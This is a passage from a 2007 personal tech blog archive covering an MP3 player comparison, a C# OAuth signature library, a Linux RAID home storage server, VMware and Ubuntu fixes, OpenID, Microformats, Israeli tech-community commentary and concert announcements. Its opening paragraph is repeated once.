320Kbps and I was in the process of re-ripping my older ones for higher quality after setting up my home storage server. It was getting harder and harder for my poor little iPod to handle these files. There were a couple of factors I considered while evaluating players (not necessarily in that order): Battery Life – I want a good player with GOOD battery life at least bigger than 12 hours Battery replacement should be easy – this prolongs the player’s shelf life considerably (if the battery is reasonable priced) No stupid proprietary or any other software to load music and/or files to my player – I really hate iTunes and the other programs are simply annoying. Let me just copy god damn it! Linux support with a minimum to just copy music and files. Storage size – The bigger the better Physical size – The smaller the better :-) Taking all these parameters into account I had to choose if I want to go the hard drive way or the flash way. I had to make a paradigm shift in my head and stop thinking I can take all of my MP3s with me all the time since they are getting bigger in size and quality and it will affect various parameters of the player itself (physical size, price, fragileness – hard drive based players seems a bit more fragile due to moving parts). Seeing how my iPod degraded over a period of about 3 years (which is quite good for a hardware device) I’ve decide I want to go with a small, flash based player that has really good sound quality (the iPod is relatively good in that area, but has quite a few contestant in the sound quality department) and is relatively small. I eventually settled on two devices: iAudio i7 [Lately my 3rd generation 20Gb iPod battery started to die very early. It barely lasted for 2 hours. Changing a battery through Apple’s israeli representatives is not a very nice thing or easy to do and I didn’t want to wait for a replacement do-it-yourself battery from eBay so I’ve decided it was time for a new player. In addition to that a 3rd gen iPod has only 32Mb of RAM (it optimizes the battery life by loading ~32Mb from the drive every time, thus reducing the need to go back to the hard drive every time) and Apple recommended to have files of 9mb or less for best battery performance. Being the semi audiophile that I am, my newer MP3s are ripped at 320Kbps and I was in the process of re-ripping my older ones for higher quality after setting up my home storage server. It was getting harder and harder for my poor little iPod to handle these files. There were a couple of factors I considered while evaluating players (not necessarily in that order): Battery Life – I want a good player with GOOD battery life at least bigger than 12 hours Battery replacement should be easy – this prolongs the player’s shelf life considerably (if the battery is reasonable priced) No stupid proprietary or any other software to load music and/or files to my player – I really hate iTunes and the other programs are simply annoying. Let me just copy god damn it! Linux support with a minimum to just copy music and files. Storage size – The bigger the better Physical size – The smaller the better :-) Taking all these parameters into account I had to choose if I want to go the hard drive way or the flash way. I had to make a paradigm shift in my head and stop thinking I can take all of my MP3s with me all the time since they are getting bigger in size and quality and it will affect various parameters of the player itself (physical size, price, fragileness – hard drive based players seems a bit more fragile due to moving parts). Seeing how my iPod degraded over a period of about 3 years (which is quite good for a hardware device) I’ve decide I want to go with a small, flash based player that has really good sound quality (the iPod is relatively good in that area, but has quite a few contestant in the sound quality department) and is relatively small. I eventually settled on two devices: iAudio i7 *]5 The iAudio i7 is a very small and very good looking. It has 8Gb (there is a new version with 16Gb but it wasn’t available in Israel when I was looking) and its specs say it has 60 hours of play time which is VERY impressive. Even half of that is very impressive. Both the iRiver X20 and the iAudio i7 has support for MP3, WMA and OGG as well as video support for most format (though some videos might need pre-processing using the player’s PC software or other software before showing correctly on the tiny screen). They have a microphone and the ability to record directly to MP3.They both support the ability to just copy files to them and work without a problem on ALL operating systems including Linux out of the box. I have tested it on Windows Vista, Windows XP, Mac OS X (10.4.9), Linux – Gentoo and Ubuntu 7.10). Having said that, there are 2 distinct and major advantages to the iRiver X20. The first is that it has a MicroSD slot so I can expand it with a couple of Gb. 1Gb and 2Gb MicroSD cards are relatively cheap and larger sizes keeps on popping in relatively low prices. The second is the fact that the battery is EASILY replaceable. You just pop out the back cover and take it out, the same as you would in your cell phone. The sound quality is relatively the same in both player. If you have good earphones (and you should have good earphones, otherwise, why invest in a good player… ;-) ), they difference is really small. I really don’t need a color display (it’s nice to see the cover album but not really necessary) and I’m really not going to watch movies on this tiny screen, but if I’m getting it and it doesn’t hurt overall I say “Why not?” :-) I eventually went with the iRiver X20 because of the MicroSD expansion and the easily replaceable battery. Up until now (had it for about a week now) I’m quite pleased with it. The sound quality is good and the battery is holding out great. It even supports Hebrew characters, though its displaying it from left to right, but its still better than the stupid hack you need to do to make an iPod display Hebrew characters in ID3 tags and filenames. I recommend it for anyone with semi (or full) audiophile tendencies that knows to recognize a good player when they hear one, likes to get enough features and quality per buck and good support on all operating system. --- ## OAuth C# (very) Basic Library Published: 2007-10-17 Tags: .NET, ASP.NET, Authentication, CSharp, Code, csharp, delegation, OAuth I know it took me a while (sorry) but I had a couple things on my plate. At first I wanted to release a more complete integration of OAuth within ASP.NET, but that will have to wait to the next time frame I can allocate to work on this. In the meantime, there is some basic C# code in the OAuth code repository which generates the OAuth signature, which is the most complicated thing to implement in the spec (not that it’s that difficult to implement :-) It’s actually quite easy). To use the C# code, simply do this (based on the samples in the spec): using OAuth; OAuthBase oauth = new OAuthBase(); Uri url = new Uri(“http://photos.example.net/photos?file=vacation.jpg&size=original”); string signature = oauth.GenerateSignature(url, “dpf43f3p2l4k3l03”, “kd94hf93k423kf44”, “nnch734d00sl2jdk”, “pfkkdhi9sl3r4s00”, “GET”, oauth.GenerateTimeStamp(), oauth.GenerateNonce(), OAuthBase.SignatureTypes.HMACSHA1); After that you can concatenate the relevant query parameters as well as the signature value to the URL and use it. If you have a different timestamp and/or nonce generation method, you can inherit and override these methods. If you require a different hashing algorithm other than the default HMAC-SHA1 or the PLAINTEXT (which MUST be used with a secure communication channel such as HTTPS) you can use the “GenerateSignatureBase” method to generate the signature base string and then call “GenerateSignatureUsingHash” passing the signature base and the hash algorithm you are using. That’s about it. I’ll update when I’ll have some more integrative code. --- ## Assembling a Linux based Home Storage Server Published: 2007-10-09 Tags: Hardware, home storage server, Linux, raid, raid 5, Ubuntu, ubuntu server I’ve decided that I have enough data I want/need to store and backing it up with removable drives and/or burning DVDs is getting less useful each passing day. I also like to have everything available all the time instead of going through backup DVDs searching for the right one and extract the information from it. I have a friend who takes too many pictures in RAW format and have greater storage needs than I do but have little time or nerves to mess with installing and configuring something so he got a Thermaltake Muse NAS-RAID. He is quite pleased with and it works flawlessly at his home adding yet another blue led to an ever growing group of blue led devices blinking in the darkness of his home at night ;-) . Being me, I cannot bare the thought of using a hardware device that I can’t fully control and can’t fully expand to whatever needs I may or may not have in the future, so I’ve decide to build my own home storage server. I wanted it to be a bit cheaper than the Thermaltake MUSE box and I actually managed to do that (cost of the drives are the same so the real difference is in the box itself). The hardware specs I’ve settled for and eventually ordered are: CPU: AMD Athlon 3800+ Dual core (AM2 socket) – It’s an over kill but it was very cheap and was the cheapest CPU in stock at my favorite high end (and high quality) hardware supplier. MoBo: Gigabyte GA-M61SME-S2 – It was either that or a comparable ASUS mobo. This one won because of the price. I really like the quality of Gigabyte and ASUS mobos and have used them for years. The specs are more than fine with a gigabit ethernet card on board and a hardware RAID support of both 0,1,5 (not that I’m going to use them, it’s all software RAID for me baby!) RAM: 512Mb (more than enough) Case: Thermaltake Matrix – It was relatively cheap. It’s Thermaltake (need I say more?!). It’s an aluminum case that is very ventilated and eventually if I want to mount some 3.5″ drives on the 5.25″ spaces using a kit I can get to a total of 8 drives. The sweet spot for hard drives in terms of gigabytes per buck (at least for me) was the 500Gb drives (more specifically, the Western Digital WD5000AAKS 7200 RPM with 16Mb Buffer) so I’ll grab 3 of those which should be enough for my current needs. I haven’t decided on the configuration and drive size for the OS itself. It might even be a jump drive as a friend suggested (2 in a RAID 1 configuration). I still need to decide. The software I’m planning on using is: OS: Ubuntu Server 7.10 (I know it’s due out very soon) RAID Configuration: RAID5 with LVM (I might go for EVMS if I’ll have time to mess with it) File System: XFS (cause I can grow it without unmounting it!) Samba – so that the rest of the machins in the house will have access. All of this set me back ~$750 (these are Israeli prices for the hardware and some taxes applied in there as well), but I’m quite pleased with the price. It’s going to be a fun weekend! Muhahahahahaha :-) --- ## OAuth Core 1.0 Final Draft – Implement it while it’s hot Published: 2007-10-07 Tags: Authentication, delegation, OAuth, Security After Chris blogged about it Eran Hammer-Lahav wrote a Beginner’s Guide to OAuth I have little to add. I will add though that my C# library which I’m promising for quite some time will get out very soon :-) (Sorry for the delay, it’s been hectic around here). --- ## OAuth 1.0 Public Draft – Another brick in the wall Published: 2007-09-22 Tags: Authentication, delegation, OAuth Others have made such great explanations as to what OAuth is and what it does like Eran Hammer-Lahav’s post so I won’t repeat it. I will say that OAuth should make the Internet a little bit safer by giving the technical means to remove the need of a certain service asking the user to give his/her username and password to access another service that that user is also using. OAuth is to credentials delegation what OpenID is to authentication. An open standard for delegating a user’s credentials between services, the same way OpenID is an open standard for authentication. It is important to note, however, that OAuth is not limited to be used with OpenID only. It CAN be used with ANY authentication scheme both open and proprietary. After all, some of the main mantras of OAuth were that we don’t want to reinvent the wheel(s) and we want OAuth to play nicely with everyone. I’m contributing to the working group of OAuth and we just released the first public draft for OAuth 1.0. Take a look, read the spec and share your thoughts and comments with us! OAuth – another brick in the open standards wall of authentication, credentials delegations and ultimately identity. --- ## VmWare Server 1.0.4 on Ubuntu Server 7.04 (a.k.a Feisty Fawn) Published: 2007-09-20 Tags: Feisty-Fawn, Linux, Ubuntu, ubuntu-7.04, ubuntu-linux, virtualization, VmWare, VmWare-Server 2 days after my previous post about installing VmWare Server 1.0.3 from Canonical’s repository, VmWare released version 1.0.4. I tried using its built-in install script on a vanilla Ubuntu Server 7.04 (a.k.a Feisty Fawn) and it worked flawlessly. Aside from certain libraries which it needs to compile the vmmon and vmnet kernel modules (the installation script will tell you which ones are missing and you can get them from the repositories using apt-get), you’ll also need to install xinetd. All in all, the installation script did all the job and it works fine without patching the vmmon code. Keep up the good work VmWare Team! --- ## Ubuntu Feisty Fawn (7.04), VmWare Server and Authentication problems Published: 2007-09-16 Tags: 7.04, Authentication, Feisty-Fawn, PAM, problem, tips-and-tricks, ubuntu-feisty-fawn, VmWare, VmWare-Server If you are going to install VmWare server (a great and free server virtualization product from VmWare) on Ubuntu Feisty Fawn (7.04) and you’ve followed this post showing how to do it using Canonical’s commercial repository, make sure to read this post at the Ubuntu Community Docs. Basically, if you encounter authentication problems at the Server’s Console after installing the VmWare server and until this bug is fixed, you need to edit /etc/pam.d/vmware-authd to contain: #%PAM-1.0 auth required pam_unix_auth.so shadow nullok account required pam_unix_acct.so Afterwards, restart the VmWare service and try to authenticate using the server’s console again. I’m just being the Good SEO Samaritan and bumping this article’s SEO so everyone will see it first (instead of it being buried down somewhere and the search results) :-) . --- ## Google Reader Search is here! Published: 2007-09-06 Tags: Google, google-reader, google-reader-search, Search I fired up Google Reader this morning and to my surprise I found a search box: This is one of the last missing features I wanted Google Reader to have. I actually have a friend that didn’t want to switch from a desktop feed reader until Google Reader added search. Now he can safely move to it :-) You can limit your search to all items in all of your feeds, all stared items, all shared items or items from a specific folder. I couldn’t make the search work with some of the search keywords I’m familiar with in Gmail like “from:XXX”, “label:XXX” etc, which I think is very important. I even used the Google Blog Search syntax of “inpostauthor:Eran” to find all posts written by Eran, but it doesn’t seem to work. I would have expected that the Google Reader search will use the Google Blog Search engine underneath and just add additional limitation for searches like “All shared items” in which it will perform the search only on that specific set of items. Perhaps it does use it but without some of the query syntax features. Oh well, I hope the Google Reader search will converge with the syntax of Google Blog Search to make the search feature complete. All in all this is a great and long requested feature. Great job Google Reader team! --- ## Israeli Shortage in High End Laptops Published: 2007-09-05 Tags: D630, dell, laptop, shortage, T61, thinkpad, Yedda At Yedda (my day job) we recently ordered 3 new laptops. Our spec was very specific (that’s how we are ;-) ): Core Duo 2 running on at least 2Ghz 2Gb of RAM 100Gb or more hard drive WXGA+ screen (1440×960 resolution) 14.1″ screen Non shared memory video card DVD burner The reason we want 14.1″ screens is due to size and weight (some of us, not me, rides on bikes and/or motorcycles to get to the YeddaHQ). We also wanted as high resolution as possible and the WXGA+ seems very good. Up until now we mostly used Thinkpads so we obviously checked out the new T61. Aside from the fact that it was a bit costly (which we were willing to accept) there were no T61 machines in Israel with WXGA+ or with a Core Duo 2 running on at least 2Ghz or the machines had an integrated shared memory video card (which is a big no no!). We checked out the Dell D630 which also had the same configuration, got good reviews and was surprisingly ~$500 cheaper. The only problem was that it had to be specially ordered for us since Dell Israel doesn’t work the same way it works in the USA. Dell Israel brings a certain set of models to Israel and Israelis don’t get the pleasure of having a specific Dell machine built just for them. Luckily we ordered 3 machines and our supplier was willing to place a special order at Dell UK for us. The original estimated delivery time was 3 weeks (work weeks, not calendar weeks) which ended up today. As you can figure out from the title, the machines will not arrive today. It seems that there is a shortage in Israel not just in Dell high end laptops but in other brands as well and I’ve heard people getting a delivery date for December. The official explanation for the delay in shipment of our Dell machines was that there is a delay in LCD screens in the UK and that’s why the machines are sitting there screen-less waiting for us. The current expected delivery date out of the UK is the 25th of September. I guess we will just have to wait. --- ## Cross platform, Winamp functionality identical media player ?! Published: 2007-08-29 Tags: Answers, cross-platform, media-player, Q&A, Questions, WinAmp, Yedda I like WinAmp. It’s a great media player. Always has been. I’m still using it when I use Windows because its not as bloated and heavy as Windows Media Player or iTunes. If you got the right skin you can stick it up at the top of the screen where its reachable, useful, shows you what you are listening to and not get in your way. It also has lots of plugins for every conceivable idea, which is always good. Therefore, I wanted to know this: Is there a media player that has exactly the same … Is there a media player that has exactly the same functionality as WinAmp (plugins, media library, skins, support for video and audio and some streaming formats) and is cross platform? Topics: video, multimedia, audio, streaming, winamp, media player, cross platform Asked by Eran on August 29, 2007 View the entire discussion on Yedda I’d really love to have an open source solution that does all of the things that WinAmp can do. --- ## Jerusalem ROCKS! ticket prices go down – Grab it while it’s hot! Published: 2007-08-26 Tags: facebook, Jeff, Jeff-Pulver, jerusalem-ROCKS!, poke-is-the-new-ping, shows, tickets According to this link on Jeff Pulver’s blog and this link on Ynet (an Israeli online newspaper – link is in Hebrew) the prices for the Jerusalem ROCKS! event I’ve previously mentioned, are now down due to demand from the people (mostly young people). The prices are now 249 NIS for a place on the grass and 229 NIS for a place in the balcony (previous prices were 360 and 306 respectively). That’s a decrease of 25%-30% (depending on the ticket type). The official blogs are here (Hebrew) and here (English). The lineup is very extensive and for this price its a really good bargain on top of the fact that these are going to be great shows! Some of the line up include: The Black Eyed Peas, Arrested Development, the original band from the movie “The Commitments” in addition to an israei line up of “Hadag Nachah”, Muki and more. You can get the tickets online on hadran.co.il. Jeff Pulver, one of the organizers of this event, is looking for some corporate sponsors for this event. Check out his blog post on the subject and contact him. --- ## Jerusalem ROCKS! Tickets are on sale Published: 2007-07-27 Tags: Fun, Jeff, Jeff-Pulver, jerusalem-ROCKS!, jeruslaem-rocks Jeff posted a couple of days ago that the tickets for the Jerusalem ROCKS! event are on sale at Hadran.co.il. Go here to read more about Jerusalem ROCKS! I also wrote a little bit about Jerusalem ROCKS! here. Jeff is looking for bloggers from both Israel and around the world who would like to cover and/or promote the show. If you are interested Email to jeffp@pulver.com and introduce yourself. I’ve corresponded a little bit with Jeff about why he was doing this Event and he told me that he wanted to do something that no one did for almost 20 years. Also he wanted that Israeli people will just have fun. At first I thought there should be something more to this than just fun, but then it hit me. Fun is something that is generally underestimated and undervalued specifically in our region of the world. Such a show with performers in such caliber all in one place and in Jerusalem on top of all is something that is really awesome. So… just go there and have fun. Have fun without worrying about the mundane things in life that are usually in your head. Clear your mind and just absorb the fun (there is going to be lots of it!) --- ## Plaxo OpenID support lacks OpenID Delegation support Published: 2007-07-18 Tags: OpenID, openid-delegation, plaxo UPDATE: Plaxo DO support delegation, just not XRDS. It seems a WP database problem caused some of my OpenID delegation plug-in to mess up settings the wrong openid.server and openid.delegate values. It should have been http://www.myopenid.com/server for openid.server and http://eran.myopenid.com for openid.delegate. The problem was due to the fact that XRDS is yet to be supported in Plaxo. I didn’t notice the problem with the configuration of openid.server and openid.delegate due to the fact that the XRDS settings was correctly configured and all of the sites that I use OpenID with do support XRDS. ——- Plaxo is a real cool tool to synchronize your calendar and address book. Their new v3.0 (still in preview/beta mode) is really really cool and can sync from everything to everything. They just announced that they now support OpenID as a relaying party so you can sign up for Plaxo using an existing OpenID or attach OpenID identities (yes, in plural) to your Plaxo account. I already had a Plaxo account so I wanted to attach my existing OpenID to it. My OpenID is actually delegated from this blog to MyOpenID (my OpenID provider) using the OpenID Delegation plugin. It seems as though the Plaxo implementation lacks support for delegation. Too bad, delegation is one of the stronger features OpenID has. Plaxo, please support OpenID delegation. Without delegation it’s not a complete OpenID solution (at least I think so). --- ## Jeff Pulver’s party for Israeli Facebook users and Jerusalem ROCKS! Published: 2007-07-15 Tags: facebook, Jeff, Jeff-Pulver, jerusalem-ROCKS!, jeruslaem-rocks, poke-is-the-new-ping Last Thursday I went to Jeff Pulver‘s party for Israeli Facebook users in the Tel Aviv Harbor. All in all it was very fun and the mood was great. We also discovered that Israelis don’t drink that much even in an almost open bar – Jeff had to take a mic and rush us all into the bar to get to the minimum he told the bar he would pay for :-) I’d like to thank Jeff for a very nice and casual party. Thanks Jeff! During the party, Jeff told us about Jerusalem Rocks, an event he co-organizes on September 9th in Jerusalem which will bring the Black Eyed Pees back to Israel, the original band from the Movie the Commitments as well as “Hadag Nachash” (Israeli band) and others Israeli bands. The concert is NOT for profit (it’s for Peace and fun) and every single dime that will be earned on top of the expenses will go back to a pool to be used next year for the same event. In addition to that 4,000 seats will be given to children around Israel that usually can’t afford to go to such concerts. All in all, this is a good concert for a good cause organized by a good man! Tickets sales should start this week (or so I’m told) so if you are an Israeli go buy the tickets, if you are not an Israeli and you might be in Israel on September 9th buy it as well! If you can’t come, spread the word to everyone you know! --- ## iPhoneDevCamp, iPhone, Safari and Microformats Published: 2007-07-07 Tags: Apple, iphone, iphonedevcamp, Microformats, safari, standards I wish I could attend iPhoneDevCamp but unfortunately I won’t be in the area (or in the right country for that matter ;-) ). I just read Chris’ post about iPhoneDevCamp and I think these are the right reasons to make the iPhoneDevCamp. There are a few facts that support Chris’ view: In the first week Apple sold 700,000 units The iPhone is closed for outside application, but not for web applications Having a couple of million units out (after it is also sold in Europe and Asia) means there are a couple of million users using Safari on their iPhone and want to get the right experience in all/most sites. The day I heard that the iPhone will be closed to 3rd party apps but will use web applications as its main extension approach I thought one thing. Apple should make Safari (or at least just Safari on the iPhone) Microformats aware. Since the main interaction of users with 3rd party application on the iPhone is through web sites, extracting as much meaning as possible from such a web site will give iPhone users the best experience. For example, if I had an hCalendar someone in a site, or an hCard, if Safari on the iPhone (or Safari in general) would have Microformats support I could quickly add the meeting or contact information to my iPhone with one click (arrr, is it click or touch?) If Apple will do that at some point in the future, it means that the Microformats community will gain a couple of million users which might in turn convince web site designers to support Microformats. Microformats are exactly the small and right amount of standardization that can make the web a better place for both users and developers. It seems that Microformats becomes more important in smaller devices where the ability to extend their applications and the devices itself is usually limited and input is measured as the smallest and shortest action one should take to make something happen. --- ## Facebook hCard Microformat Application Published: 2007-06-24 Tags: facebook, facebook-application, hcard, Microformats, uformats Being a big fan of Microformats as well as a relatively new Facebook user, I find it odd that Facebook has no Microformats support (at least non that I know of). I’ve decided to remedy the situation a bit and created a small Facebook application which adds hCard support to your profile as a profile box. It is called the hCard application. It features your Contact information (as much of it as it can) which include: You profile photo (thumb version) Your full name Link to your Facebook profile City, state and country (any combination of these 3) Up until now (~8am Israel time) there are 38 users (and only 6 of them are my friends, so it’s quite nice ;-) ). As far as I could see from my friends’ profile, most of them didn’t add much information, and Facebook are doing a good job saving the privacy of their users by not exposing too much information. This means that the information exposes using the hCard only shows their profile photo and name. In some cases it shows their country and/or state. All in all, its a good experiment so far, but you can make it better by adding it to your profile and invite your friends to add it as well :-) If you have suggestion, comments or anything else about the application feel free to drop me something on my contact page here on this blog, or comment in the application’s discussion board on Facebook. --- ## Yedda Twitter – Oh the joy! Published: 2007-06-07 Tags: Answers, answers-&-questions, integration, Q&A, Questions, twitter, Yedda I just wanted to let all of you know that we just released a new feature on Yedda which integrates nicely with your Twitter account. You can read the official blog post here. In a nut shell, upon giving Yedda your twitter username and password, you will be able to share your Yedda expecrience with your Twitter friends. We will twitt on behalf of you about questions you ask, answers you give, questions you add to your watch list, thumbs up you give to other answers and questions you are being invited to answer by Yedda (all configurable through the settings screen). Share the Yedda love through Twitter. It’s fun! (and I’m not just saying that because I am a part of Yedda ;-) really!) Just beware: it’s addictive. --- ## Google Apps for your Domain, DNS, CNAME and Security Published: 2007-06-04 Tags: CNAME, DNS, Gmail, Google, google-apps-for-your-domain, HTTPS, Security I’ve recently started to use Google Apps for Your domain to host my private emails on the sandler.co.il domain. Google Apps for your domain is quite cool and was very easy to configure. I mainly moved to it due to the unbelievable amounts of SPAM and I didn’t have the power or time to configure SpamAssassin in a reasonable way that would actually work. When I moved, one of the things I did was to change the “default” URL in which me and other members of my family use to access the web mail of the domain. Google Apps for your Domain allows you to do just that by configuring it in its configuration screen and settings a CNAME record that points to ghs.google.com. After configuring everything I tested it out and noticed something disturbing. It seems that CNAME (by design/default/whatever) does not support HTTPS, only HTTP. This means that the CNAME alias I configured will be resolved to mail.google.com/a/YourDomain.XXX (replace YourDomain.XXX with your domain ;-) ). If you are not authenticated you’ll be redirected to authenticate on an SSL protected address (https) and upon successful authentication you will be directed to http://mail.google.com/a/YourDomain.XXX (not https – not SSL). This means that now, when you read or write Emails they are not protected. If you are sitting in an open WIFI network (passwordless network) people can easily sniff out your Emails and correspondence (I know that not using WPA will make you prune to man in the middle attacks, but that’s not the issue here). This is just one of the scenarios that you will be vulnerable (there are a few more). It’s not that accessing https://mail.google.com/a/YourDOMAIN.XXX will not work. On the contrary, it will work fine and all the communication will be secured using SSL (https). It seems Google is encouraging recklessness with their current configuration, instead of redirecting authenticated users to the secured version (https/SSL) of their web mail specifically because of the DNS CNAME limitations. It is a simple fix on Google’s behalf which will increase the security dramatically. --- ## My Google Development Community Piece was referenced at ZDNet Published: 2007-05-30 Tags: Community, development-community, free-software, Google, Microsoft, Open-Source, OpenOffice, Yahoo, zdnet 2 days ago I wrote a post about the lack of Google Israel’s involvement in the development community. It seems that in most of the places (I’m sure in the US, I’m not sure if the rest of the development centers in South American and Europe have the same involvement) where Google has development centers they are a little more involved with the development community in the form of lecture, places to meet and chat, sponsoring events, etc. I got referenced on ZDNet by Donna Bogatin (Thanks Donna! :-) ) in a post Donna wrote about a victory that Microsoft had over Google in Israel for an enterprise search engine. There are a couple of things I wanted to comment about Donna’s post. People need to realize that Microsoft had a presence in Israel for quite some time starting from the 1990 or so (if I’m not mistaken) and the first development center outside of the USA that Microsoft had was the one in Haifa, Israel. There is a big and fat contract for the Israeli government as well as the Israeli education system with Microsoft, so there is no real wonder why Microsoft one this contract. Of course I might be off on this one since I lack all of the details, but its reasonable to assume that one less contractor and some other promises from Microsoft and the contact was sealed. One anecdote is that the Israeli government helped to finance the Hebrew translation and major Hebrew support in OpenOffice (just go to openoffice.org.il – Hebrew Link – and see that the effort was sponsored by the Israeli ministry of finance). One of the reasons for this project was to enable every citizen and school to have an advanced word processor, spreadsheet editor, and other solutions in Hebrew and for free as part of the government of Israel’s online government project (which is quite advance in global terms as well). This means that every school in Israel, the Israeli education system and all of the government offices could have migrated to a pure Hebrew OpenOffice and save a lot of money (and there are better uses for this money in Israel. Trust me) instead of getting a contract from Microsoft to supply it’s Office suite. Of course, even though the government paid for the translation and migration of OpenOffice to Hebrew, Microsoft still won the contract (probably because the government didn’t want to move to another operating system and retrain the staff) and Israel got a “real deal” so that it paid quite a few bucks for that. There are rumors Steve Ballmer’s visit a few years back was the one that made the deal very lucrative for the Israeli government and closed the deal. Now I know it sounds like I’m yet another Microsoft basher and it might be partially true. I am, however, proficient and trained enough in Microsoft technologies. I even have an Advanced .NET Debugging blog and I have worked (and still working) with Microsoft technologies for a good part of my professional life. I do, however, feel comfortable in Linux and non MS technologies (both Web and non web). On the other hand I’m not an MS zealot as well as not an open source zealot. I believe that the right tools should be used for the right cause and circumstances and I do believe in open and good competition which is a bit lacking in Israel at the moment, at least from the development community side. As I’ve said in the previous post, the open source community in Israel is quite alive and kicking and they do have conferences and group meetings, but its mainly based on the good will of good people to organize and make sure things like a Linux Installfest and the Israeli Open Source developers conference still happens, usually with a very small participation and/or funding of the “big companies”. I just hope that one of the Googlers here or in the US read about it and decide to act upon it :-) --- ## Google Israel – Where Art Thou in the Development Community? Published: 2007-05-28 Tags: .NET, Community, Developers-Community, Google, Google-Israel, Linux, Microsoft, Open-Srouce, R&D-Centers, Thoughts, Windows, Yahoo I know that Google‘s original Googleplex at Mountain View is very active for non googlers. There are frequent open lectures there and they host a bunch of other things like Summer of Code (well, not always host, but sponsor and make sure people know about it) and Google Developer Day (which is happening at 10 different locations worldwide, but NOT in Israel). I know there are suppose to be two development centers in Israel, one in Haifa (which I know is located in MATAM cause you can see it from road #2 leading from Tel Aviv to Haifa near Intel and Microsoft Haifa) but I have no idea where the other development center in Israel is located, other than the fact that its suppose to be in the Tel Aviv area. I don’t know how active Google is in the development community in other countries besides the US but I think that Google Israel (and the rest of Google) as well as the rest of the development community in Israel will benefit if they’ll open up a bit and become a major player in the development community. Microsoft Israel figured this out a long time ago and there are quite a few communities (warning: Hebrew link) that meet once a month. There is also at least one full time Microsoft employee (at least that I know of) that is logistically leading this effort and making sure everyone stay happy and use MS products. I don’t even talk about the big events Microsoft Israel holds at least once a year to show off new things and to educate people about the new technology. I guess this effort paid off since most of the companies developing in Israel today (and quite a few startups, even in the web 2.0 arena) are using Microsoft technologies and not Open Source products and technologies. If Google Israel (hopefully the R&D part) will open up a bit and start hosting lectures and events in Israel, the same way the original Googleplex (and possibly other Google centers around the world, I don’t really know) does, the Israeli development community may gain a valuable player that can educate people about the usage of Open Source development environment, products and solutions. It can become a driving force that can change how the Israeli development community looks and acts. I’m not saying there is no open source community and activity in Israel. There is quite a few. Heck, even PHP (from v3 I think) is in part Israeli and Zend (the company behind PHP which supports its development) is in Israel. There are more than a few Linux kernel hackers that I know of that contribute on a daily basis to the Linux kernel and other sub systems and more than a few companies that base their products on open source products and give back to the community in the form of patches, fixes and features. What I am saying is that having a major player that can concentrate the efforts and help cultivate and educate the development community in Israel on things other than Microsoft and Microsoft Technologies can have a major effect on the Israeli development community and there is no better time than now. If one of you Israeli Googlers are reading this, you are more than welcome to comment or even comment privately directly to me. Of course, I might be imaging all of this but some quick Google searches didn’t put anything up in an obvious way. Speaking of development and the development community, since MS already has a development center in Israel (and is creating additional ones besides the one in Haifa) and Google has 2 development centers in Israel, where is Yahoo? I guess that’s something for another post :-) --- ## Nokia E61 Change Language Keys Combination Published: 2007-05-17 Tags: cell-phone, E61-change-language, langauge, nokia, Nokia-E61 I own a Nokia E61 phone which I’m very happy with (leave aside the PC Suite backup problem my wife had when she upgraded to an E61 as well). Even though I’m an Israeli I use its English interface because it’s less buggy and because most of the things I do with the phone (Emails and such) are usually in English, but from time to time I do need the occasional SMS in Hebrew. Some of the programs on the E61 like Opera Mini and Fring (great program btw, try it! it gives you MSN Messenger, Google Talk and Skype capabilities on your cell phone including voice!!!) don’t have the “Writing Language” option on their menu and I was forced to do a stupid thing like go and create a new SMS message, change the language and return back to the program. I knew there had to be a way of changing the language without doing this stupid thing and I finally found it. You should press: Shift (the Up arrow) + Chr That’s all. Simple as that. Works in all text entry screens. Heck, I’m probably the last Nokia E61 user on this planet that has more than one language on his phone and don’t know this shortcut… :-) --- ## Yedda Twitter .NET / C# Library Published: 2007-05-16 Tags: .NET, CSharp, Code, dotnet, library, twitter, Yedda, yedda-twitter-library This is a bit of shameless promotion but I think it’s worthwhile never the less :-) One of the things I did lately on my day job (Yedda) was to integrate it with Twitter (check the integration here and add Yedda as your friend!). Yedda is all about sharing and us sharing things like code with the rest of the world is no exception. So, without further due, I’m proud to present the Yedda Twitter .NET / C# Library (you will see that it’s more of wrapper than a library… really ;-) ). The post about it in our Dev Blog is here and the details, source and binary are here. The code is free as in beer and is provided on a “AS IS” basis. If you have questions about the library, Twitter, C#, .NET, the API, the meaning of life etc, feel free to ask on Yedda. --- ## Corporate Identity and Identity Issues Published: 2007-05-08 Tags: distributed-identity, Identity, OpenID, sun There is a lot of buzz about Sun’s announcement of OpenID support and the fact that Sun will be giving OpenIDs for all of its employees. While this is indeed good news for the identity community in general and for the OpenID community specifically, it got me thinking about the implications for such a move in which a big company OpenID enables all of its employee. If a company OpenID enables all of its employees and its OpenID server is usable for outside parties to authenticate against it means that now every employee of that company, when authenticating with his/her OpenID can be verified as an employee of that company (providing that no one spoofs the domain and DNS settings, etc). On one hand, now when I read a forum post or blog comment that was created by a certain company employee which authenticated using his/her corporate OpenID account I can evaluate that this person indeed works for that company and take that into account when evaluating the things he/she said. On the other hand, it loosens the rope around the employees necks and allowing them to express under their corporate identity which, in some cases, may circumvent the PR department. Since we already know (or can verify) that this identity did come from that company it can cause PR hell (or goodness, depends on the information :-) ). The only way to properly utilize this power is to educate corporate users on identity issues, not just the rest of the users using the internet. The corporate will greatly benefit from that by avoiding PR hell and the users will gain better understanding about internet and online identities which is always a good thing to educate people about in this always on, publicly accessible and fast world we live in. What do you think on the subject of corporate identities? Will better education of people regarding their online identity and separating their corporate identity from their personal identity will help everyone better understand when they are in their corporate hat and when they are on their own? I wonder what would be the best ways of educating people about that? Should it start from having multiple user names when sharing a single computer? --- ## Bi-Wiring is Cool Published: 2007-05-08 Tags: audio, Audiophilia, biwiring, sound, speakers I just moved to a new apartment and when I started to setup my home theater system again I’ve decided to use Bi-Wiring for my front speakers. My front speakers support this and up until now had a bridge connecting the elements of my speaker. I removed the bridge and ran cables to each part. While the Wikipedia article states that from an electrical point of view there is no difference when you bi-wire or not, I did notice a difference in the sound which might stem from the very small changes in resistance which theoretically exists since the system has changed a bit. Oh well… I guess I should fix the Wikipedia page a bit :-) In any case, its more fun for my ears! --- ## Feisty Fawn – Works as advertised Published: 2007-04-23 Tags: Feisty-Fawn, Gentoo, Linux, linux-distribution, linux-distro, Ubuntu, ubuntu-7.04 Whenever a new version of Ubuntu comes out I download the CD, run it in LiveCD mode and see if my Laptop (Thinkpad T43) works with everything included (video card – ATI, sound, Wireless card the Intel a/b/g wireless thingy) and succeeds in connecting to my home wireless network (using WPA2 encryption). Previous versions usually missed either in the wireless card or the WPA (or it was really cumbersome to configure WPA). I tested Feisty Fawn (7.04) 